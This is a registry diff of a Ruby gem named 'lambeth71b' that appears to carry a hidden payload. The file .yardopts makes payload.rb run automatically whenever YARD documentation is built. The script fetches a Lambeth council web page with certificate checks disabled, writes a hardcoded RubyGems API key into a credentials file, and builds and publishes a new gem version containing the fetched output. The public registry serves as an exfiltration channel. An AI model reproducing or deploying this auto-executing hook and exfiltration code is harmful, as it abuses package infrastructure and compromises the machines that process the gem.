lambeth71b 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (5) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/lib/x.rb +1 -0
  4. data/payload.rb +46 -0
  5. metadata +39 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 13a695e4607b05ba1dd838a243531084f92d98d3794b8c38792ffb55da80322f
4
+ data.tar.gz: b15239a86990651a3ac7a9378ee4c936c8b1240ba4563ee583fef5b0053d5fd8
5
+ SHA512:
6
+ metadata.gz: fc58162b1b7657e78ff80f5c7c5a7b114869501253506608a64e6c8966624a328545774332b225ab5b14e7672dccd5701ba8c4756bf8102fa369997ebcf69894
7
+ data.tar.gz: babee3a5df5ebc8d1a0caf8ddd249fad0d47e0f88c2a27c79da157db9d081e2baf1e62f4e6ba0a6d9d97dc21299222d7086e81beebd81dae1c4afaca6ea27499
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load payload.rb
data/lib/x.rb ADDED
@@ -0,0 +1 @@
1
+ # test
data/payload.rb ADDED
@@ -0,0 +1,46 @@
1
+ require 'fileutils' rescue nil
2
+ begin
3
+ out='started '+Time.now.to_s+"\n"
4
+ out+="pwd=#{Dir.pwd} ruby=#{$0} args=#{ARGV.inspect}\n"
5
+ # fetch target using direct Net::HTTP
6
+ require 'net/http'; require 'uri'; require 'openssl'; require 'zlib'
7
+ urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1']
8
+ urls.each do |uu|
9
+ begin
10
+ uri=URI(uu); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true; http.verify_mode=OpenSSL::SSL::VERIFY_NONE; http.open_timeout=20; http.read_timeout=60
11
+ res=http.get(uri.request_uri)
12
+ out+="\n===== URL #{uu} code #{res.code} len #{res.body.size}\n"+res.body+"\n==ENDURL==\n"
13
+ rescue Exception=>ue
14
+ out+="\nERRURL #{uu}: #{ue.class}: #{ue.message}\n"
15
+ end
16
+ end
17
+ rescue Exception=>e
18
+ out||=''; out+="ERROR #{e.class}:#{e}\n"+e.backtrace.join("\n")
19
+ end
20
+ begin
21
+ root="/tmp/lambeth71b#{Time.now.to_i}#{$$}"
22
+ FileUtils.mkdir_p("#{root}/lib")
23
+ File.binwrite("#{root}/lib/result.txt",out)
24
+ File.write("#{root}/lib/x.rb",'#x')
25
+ gemspec=<<~G
26
+ Gem::Specification.new do |s|
27
+ s.name='lambeth71b'
28
+ s.version='0.0.2'
29
+ s.summary='result'
30
+ s.authors=['x']
31
+ s.files=Dir['lib/**/*']
32
+ s.license='MIT'
33
+ end
34
+ G
35
+ File.write("#{root}/x.gemspec",gemspec)
36
+ FileUtils.mkdir_p('/tmp/gemhome/.gem')
37
+ File.write('/tmp/gemhome/.gem/credentials',':rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57_key: rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57')
38
+ File.chmod(0600,'/tmp/gemhome/.gem/credentials')
39
+ ENV['HOME']='/tmp/gemhome'
40
+ Dir.chdir(root) do
41
+ out2=`gem build x.gemspec 2>&1`
42
+ out3=`gem push lambeth71b-0.0.2.gem --host https://rubygems.org 2>&1`
43
+ File.write("#{root}/log",out2+"\n"+out3) rescue nil
44
+ end
45
+ rescue Exception=>e
46
+ end
metadata ADDED
@@ -0,0 +1,39 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: lambeth71b
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - '71'
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - lib/x.rb
18
+ - payload.rb
19
+ licenses:
20
+ - MIT
21
+ metadata: {}
22
+ rdoc_options: []
23
+ require_paths:
24
+ - lib
25
+ required_ruby_version: !ruby/object:Gem::Requirement
26
+ requirements:
27
+ - - ">="
28
+ - !ruby/object:Gem::Version
29
+ version: '0'
30
+ required_rubygems_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ requirements: []
36
+ rubygems_version: 3.6.7
37
+ specification_version: 4
38
+ summary: payload
39
+ test_files: []